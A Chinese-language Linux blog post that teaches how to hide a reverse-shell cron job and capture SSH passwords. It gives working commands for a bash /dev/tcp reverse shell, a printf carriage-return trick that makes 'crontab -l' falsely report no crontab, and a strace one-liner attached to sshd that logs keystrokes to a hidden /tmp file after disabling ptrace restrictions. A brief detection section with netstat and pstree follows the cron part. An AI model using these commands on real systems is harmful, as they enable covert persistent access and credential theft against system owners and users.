美文网首页Linux
隐藏crontab和键盘记录密码

隐藏crontab和键盘记录密码

作者: 明翼 | 来源:发表于2022-07-24 14:51 被阅读0次

    一 前言

    前几天朋友发一个文章,是关于crontab的隐藏的,涨姿势了,所以就学习下,觉得还蛮实用的,于是有了这篇文章。

    二 crontab隐藏

    2.1 从一条命令说起

    以下命令比较奇怪,我们明明输入文件内容是"abb\rocddde" 但是直接用cat输出的时候是\r后面的内容。这里面 echo -e 表示启用反斜杠转义的解释即\r 表示回车。

    root@ubuntu-lab:/home/miao# echo  -e "abb\rocddde"> b.txt 
    root@ubuntu-lab:/home/miao# cat b.txt 
    ocddde
    root@ubuntu-lab:/home/miao# cat -A b.txt
    abb^Mocddde$
    

    这说明cat在输出时候,如果有回车,则显示会有问题,用参数:-A 即可显示所有内容:

     -A, --show-all
                  equivalent to -vET
    
     -E, --show-ends
                  display $ at end of each line
     -v, --show-nonprinting
                  use ^ and M- notation, except for LFD and TAB
    -T, --show-tabs
                  display TAB characters as ^I
    

    了解了这个缺陷,再知道crontab -l 其实是cat 此用户对应的crontab文件即:
    /var/spool/cron/crontabs/root

    2.2 crontab 隐藏

    测试的脚本涉及到shell反弹,先测试下,启动一个端口(攻击端)

    root@ubuntu-lab:/home/miao# nc -lnvp 1111
    Listening on 0.0.0.0 1111
    

    被攻击端反向连接:

    root@ubuntu-lab:/home/miao# bash -i &> /dev/tcp/127.0.0.1/1111 0>&1
    

    具体shell反弹的解释见:https://www.jianshu.com/p/41fffb0654a7
    简单来说把bash的输入输出,错误输出都重定向到tcp连接上去。

    刚才是一次执行,如果攻击端的端口1111 没有开启的话,会报连接错误:

    root@ubuntu-lab:/home/miao# bash -i &> /dev/tcp/127.0.0.1/1111 0>&1
    bash: connect: Connection refused
    bash: /dev/tcp/127.0.0.1/1111: Connection refused
    

    那么如何保证被攻击端定时连接,直到我们开启端口那,很显然我们可以采用crontab方式。

    初次版本:

    root@ubuntu-lab:/home/miao# echo  "*/1 * * * * bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 " >/var/spool/cron/crontabs/root
    root@ubuntu-lab:/home/miao# crontab -l
    */1 * * * * bash -c "bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 "
    

    显然如果这样达不到隐藏效果,隐藏下很简单加个回车就行,但是不能仅仅没显示,我们要让crontab -l展示的信息和没有配置crontab是一样的。

    这样写crontab不好测试,也可以独立写个shell:

    root@ubuntu-lab:/home/miao# crontab -l
    */1 * * * * sh /home/miao/1.sh
    
    root@ubuntu-lab:/home/miao# cat 1.sh
    #!/bin/bash
    echo `date` >/home/miao/122
    echo $? >>/home/miao/122
    bash -c "bash -i &> /dev/tcp/127.0.0.1/1111 0>&1 "
    

    效果如下:

    root@ubuntu-lab:/home/miao# nc -lnvp 1111
    Listening on 0.0.0.0 1111
    Connection received on 127.0.0.1 57768
    bash: cannot set terminal process group (8552): Inappropriate ioctl for device
    bash: no job control in this shell
    root@ubuntu-lab:~# 
    root@ubuntu-lab:~# pwd
    pwd
    /root
    root@ubuntu-lab:~# cd /home/miao
    cd /home/miao
    root@ubuntu-lab:/home/miao# pwd
    pwd
    /home/miao
    

    隐藏的命令实践如下:

    root@ubuntu-lab:/home/miao# crontab -l
    no crontab for root
    root@ubuntu-lab:/home/miao# (crontab -l;printf "* * * * * /home/miao/1.sh;\rno crontab for `whoami`%100c\n")|crontab -
    no crontab for root
    root@ubuntu-lab:/home/miao# cat /var/spool/cron/crontabs/root
    # DO NOT EDIT THIS FILE - edit the master and reinstall.
    # (- installed on Sun Jul 24 05:28:19 2022)
    # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
    no crontab for root                                                                                                   
    root@ubuntu-lab:/home/miao# cat -A /var/spool/cron/crontabs/root
    # DO NOT EDIT THIS FILE - edit the master and reinstall.$
    # (- installed on Sun Jul 24 05:28:19 2022)$
    # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)$
    * * * * * /home/miaohq/1.sh;^Mno crontab for root  
    

    注意这个"%100c\n" 加了%100c即要保证回车后面的字符超过100个,换行也是模仿crontab -l的效果,如果不加%100c,回车后面的字符就从开头开始输出,会导致后面跟着前面的一些字符信息,如下:

    root@ubuntu-lab:/home/miao# printf  "* * * * * /home/miao/1.sh;\rno crontab for `whoami` \n"
    no crontab for root /1.sh;
    

    到此结束。

    2.3 如何检测

    检测比较简单,首先用netstat 查看连接信息的进程,然后通过进程的关系查找这个进程由哪个启动的,如下:

    root@ubuntu-lab:/home/miao# netstat -antp|grep 1111
    tcp        1      0 0.0.0.0:1111            0.0.0.0:*               LISTEN      1786/nc             
    tcp        0      0 127.0.0.1:57386         127.0.0.1:1111          ESTABLISHED 1803/bash           
    tcp        0      0 127.0.0.1:57390         127.0.0.1:1111          ESTABLISHED 1870/bash           
    tcp        0      0 127.0.0.1:1111          127.0.0.1:57386         ESTABLISHED 1786/nc             
    tcp      133      0 127.0.0.1:1111          127.0.0.1:57390         ESTABLISHED -   
    
    root@ubuntu-lab:/home/miao# pstree -p|grep 1803
               |-cron(1013)-+-cron(1798)---sh(1799)---1.sh(1800)---bash(1802)---bash(1803)
    root@ubuntu-lab:/home/miao# 
    root@ubuntu-lab:/home/miao# 
    root@ubuntu-lab:/home/miao# ps -ef|grep 1013
    root        1013       1  0 05:48 ?        00:00:00 /usr/sbin/cron -f -P
    root        1798    1013  0 05:51 ?        00:00:00 /usr/sbin/CRON -f -P
    root        1865    1013  0 05:52 ?        00:00:00 /usr/sbin/CRON -f -P
    root        1913    1013  0 05:53 ?        00:00:00 /usr/sbin/CRON -f -P
    root        1962    1817  0 05:53 pts/0    00:00:00 grep --color=auto 1013
    root@ubuntu-lab:/home/miao# ps -ef|grep 1798
    root        1798    1013  0 05:51 ?        00:00:00 /usr/sbin/CRON -f -P
    root        1799    1798  0 05:51 ?        00:00:00 /bin/sh -c /home/miao/1.sh;?no crontab for root                                                                                                   
    root        1973    1817  0 05:54 pts/0    00:00:00 grep --color=auto 1798
    

    很简单,我们看到CRON启动了shell脚本:/bin/sh -c /home/miao/1.sh;?no crontab for root

    三 strace 跟踪shell输入的密码

    原理很简单,strace 可以跟踪应用程序的系统应用,并且可以获取应用程序的参数,那么就可以跟踪登录的sshd程序,将密码获取到。
    脚本比较简单:

     (strace -f -F -p `ps aux|grep "/usr/sbin/sshd"|grep -v grep|awk {'print $2'}`  -e trace=read,write -s 32 2> /tmp/.ssh &)
    

    如果报没有权限,改下:

     /etc/sysctl.d/10-ptrace.conf
    中:kernel.yama.ptrace_scope为0
    后执行:sysctl -p
    

    然后通过命令搜索:

    grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
    

    即可以获取密码。

    相关文章

      网友评论

        本文标题:隐藏crontab和键盘记录密码

        本文链接:https://www.haomeiwen.com/subject/kuwiirtx.html